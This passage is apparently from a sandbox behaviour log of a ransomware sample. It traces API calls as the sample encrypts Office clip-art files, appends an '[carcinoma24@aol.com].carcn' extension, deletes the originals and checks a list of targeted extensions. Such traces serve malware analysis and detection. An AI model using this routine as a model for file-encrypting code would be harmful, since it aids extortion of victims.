Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0305.149] GetLastError () returned 0x0 [0305.149] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0305.166] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0305.168] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.168] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.168] SetEndOfFile (hFile=0x35c) returned 1 [0305.168] CloseHandle (hObject=0x35c) returned 1 [0305.168] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.169] SetEndOfFile (hFile=0x364) returned 1 [0305.170] CloseHandle (hObject=0x364) returned 1 [0305.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0305.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.171] lstrlenW (lpString=".doc") returned 4 [0305.171] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.171] lstrlenW (lpString=".docx") returned 5 [0305.171] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0305.171] lstrlenW (lpString=".pdf") returned 4 [0305.171] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.171] lstrlenW (lpString=".xls") returned 4 [0305.171] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.171] lstrlenW (lpString=".xlsx") returned 5 [0305.171] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0305.171] lstrlenW (lpString=".ppt") returned 4 [0305.171] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.171] lstrlenW (lpString=".zip") returned 4 [0305.171] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.171] lstrlenW (lpString=".rar") returned 4 [0305.171] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.171] lstrlenW (lpString=".bz2") returned 4 [0305.172] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.172] lstrlenW (lpString=".7z") returned 3 [0305.172] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.172] lstrlenW (lpString=".dbf") returned 4 [0305.172] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.172] lstrlenW (lpString=".1cd") returned 4 [0305.172] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0305.172] lstrlenW (lpString=".jpg") returned 4 [0305.172] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.182] GetLastError () returned 0x0 [0305.182] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xab74, lpOverlapped=0x0) returned 1 [0305.212] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xab80, lpOverlapped=0x0) returned 1 [0305.213] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.214] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.214] SetEndOfFile (hFile=0x398) returned 1 [0305.214] CloseHandle (hObject=0x398) returned 1 [0305.214] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.214] SetEndOfFile (hFile=0x34c) returned 1 [0305.215] CloseHandle (hObject=0x34c) returned 1 [0305.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0305.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.216] lstrlenW (lpString=".doc") returned 4 [0305.216] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.216] lstrlenW (lpString=".docx") returned 5 [0305.216] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0305.217] lstrlenW (lpString=".pdf") returned 4 [0305.217] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.217] lstrlenW (lpString=".xls") returned 4 [0305.217] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.217] lstrlenW (lpString=".xlsx") returned 5 [0305.217] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0305.217] lstrlenW (lpString=".ppt") returned 4 [0305.217] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.217] lstrlenW (lpString=".zip") returned 4 [0305.217] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.217] lstrlenW (lpString=".rar") returned 4 [0305.217] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.217] lstrlenW (lpString=".bz2") returned 4 [0305.217] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.217] lstrlenW (lpString=".7z") returned 3 [0305.217] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.217] lstrlenW (lpString=".dbf") returned 4 [0305.217] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.217] lstrlenW (lpString=".1cd") returned 4 [0305.217] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0305.217] lstrlenW (lpString=".jpg") returned 4 [0305.217] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.228] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.228] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.229] GetLastError () returned 0x0 [0305.229] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0305.234] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0305.236] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.236] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.236] SetEndOfFile (hFile=0x34c) returned 1 [0305.236] CloseHandle (hObject=0x34c) returned 1 [0305.236] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.236] SetEndOfFile (hFile=0x334) returned 1 [0305.237] CloseHandle (hObject=0x334) returned 1 [0305.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0305.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.238] lstrlenW (lpString=".doc") returned 4 [0305.238] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.239] lstrlenW (lpString=".docx") returned 5 [0305.239] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0305.239] lstrlenW (lpString=".pdf") returned 4 [0305.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.239] lstrlenW (lpString=".xls") returned 4 [0305.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.239] lstrlenW (lpString=".xlsx") returned 5 [0305.239] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0305.239] lstrlenW (lpString=".ppt") returned 4 [0305.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.239] lstrlenW (lpString=".zip") returned 4 [0305.239] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.239] lstrlenW (lpString=".rar") returned 4 [0305.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.239] lstrlenW (lpString=".bz2") returned 4 [0305.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.239] lstrlenW (lpString=".7z") returned 3 [0305.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.239] lstrlenW (lpString=".dbf") returned 4 [0305.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.239] lstrlenW (lpString=".1cd") returned 4 [0305.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0305.239] lstrlenW (lpString=".jpg") returned 4 [0305.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.240] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.240] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.241] GetLastError () returned 0x0 [0305.241] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0305.416] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0305.417] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.417] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.417] SetEndOfFile (hFile=0x34c) returned 1 [0305.417] CloseHandle (hObject=0x34c) returned 1 [0305.418] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.418] SetEndOfFile (hFile=0x334) returned 1 [0305.419] CloseHandle (hObject=0x334) returned 1 [0305.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0305.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.420] lstrlenW (lpString=".doc") returned 4 [0305.420] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.420] lstrlenW (lpString=".docx") returned 5 [0305.420] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0305.420] lstrlenW (lpString=".pdf") returned 4 [0305.420] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.420] lstrlenW (lpString=".xls") returned 4 [0305.420] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.420] lstrlenW (lpString=".xlsx") returned 5 [0305.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0305.420] lstrlenW (lpString=".ppt") returned 4 [0305.420] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.420] lstrlenW (lpString=".zip") returned 4 [0305.420] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.420] lstrlenW (lpString=".rar") returned 4 [0305.420] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.420] lstrlenW (lpString=".bz2") returned 4 [0305.420] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.420] lstrlenW (lpString=".7z") returned 3 [0305.420] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.420] lstrlenW (lpString=".dbf") returned 4 [0305.420] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.420] lstrlenW (lpString=".1cd") returned 4 [0305.421] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0305.421] lstrlenW (lpString=".jpg") returned 4 [0305.421] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.433] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.433] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.434] GetLastError () returned 0x0 [0305.434] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.454] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.455] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.455] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.455] SetEndOfFile (hFile=0x34c) returned 1 [0305.455] CloseHandle (hObject=0x34c) returned 1 [0305.455] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.456] SetEndOfFile (hFile=0x334) returned 1 [0305.457] CloseHandle (hObject=0x334) returned 1 [0305.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0305.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.458] lstrlenW (lpString=".doc") returned 4 [0305.458] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString=".docx") returned 5 [0305.458] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0305.458] lstrlenW (lpString=".pdf") returned 4 [0305.458] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString=".xls") returned 4 [0305.458] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString=".xlsx") returned 5 [0305.458] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0305.458] lstrlenW (lpString=".ppt") returned 4 [0305.458] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.458] lstrlenW (lpString=".zip") returned 4 [0305.458] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString=".rar") returned 4 [0305.458] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.458] lstrlenW (lpString=".bz2") returned 4 [0305.459] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.459] lstrlenW (lpString=".7z") returned 3 [0305.459] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.459] lstrlenW (lpString=".dbf") returned 4 [0305.459] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.459] lstrlenW (lpString=".1cd") returned 4 [0305.459] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0305.459] lstrlenW (lpString=".jpg") returned 4 [0305.459] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.459] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.459] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.460] GetLastError () returned 0x0 [0305.460] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0305.474] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0305.475] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.475] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.475] SetEndOfFile (hFile=0x34c) returned 1 [0305.476] CloseHandle (hObject=0x34c) returned 1 [0305.476] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.476] SetEndOfFile (hFile=0x334) returned 1 [0305.477] CloseHandle (hObject=0x334) returned 1 [0305.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft 